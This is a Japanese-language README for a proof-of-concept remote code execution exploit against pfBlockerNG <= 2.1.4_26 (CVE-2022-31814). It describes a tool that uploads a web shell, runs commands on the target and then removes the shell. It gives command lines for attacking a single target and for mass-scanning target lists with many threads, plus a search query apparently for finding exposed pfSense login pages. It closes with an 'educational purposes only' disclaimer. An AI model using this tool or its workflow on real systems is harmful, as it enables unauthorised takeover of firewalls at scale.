
pfBlockerNG <= 2.1.4_26 の未認証RCE (CVE-2022-31814)
このスクリプトは、pfBlockerNG <= 2.1.4_26 に対する Proof-of-Concept エクスプロイトであり、リモートコード実行を可能にします。単一のターゲットURLまたはURLリストを受け取り、シェルをアップロードしてコマンドを実行し、その後シェルを削除します。
このスクリプトには Python 3.x と requests および concurrent.futures モジュールが必要です。これらのモジュールは以下のコマンドでインストールできます:
pip3 install requests concurrent.futures
または
pip3 install -r requirements.txt
usage: exploit.py [-h] [-c COMMAND] [-l LIST] [-i IP] [-t THREADS] [-o OUTPUT]
pfBlockerNG <= 2.1.4_26 Unauth RCE
options:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND
Console Command ('id')
-l LIST, --list LIST List of targets (list.txt)
-i IP, --ip IP Base target uri (ex. http://target-uri/)
-t THREADS, --threads THREADS
Number of threads for mass scan
-o OUTPUT, --output OUTPUT
Output file (vuln.txt)
単一ターゲットを攻撃するには、-i または --ip フラグを使用し、ベースURLまたはIPアドレスを指定します:
python3 exploit.py -i http://target-uri/ -c 'id'
ターゲットのリストをスキャンするには、-l または --list フラグを使用し、リストのパスを指定します:
python3 exploit.py -l list.txt -c 'id' -t 50
-t または --threads フラグを使用して、スキャンに使用するスレッド数を指定できます。
-o または --output フラグを指定すると、脆弱なターゲットのリストがファイルに書き込まれます:
python3 exploit.py -l list.txt -c 'id' -o vuln.txt
http.title:"pfSense - Login" "Server: nginx" "Set-Cookie: PHPSESSID="
このスクリプトは教育目的のみです。自己責任で使用してください。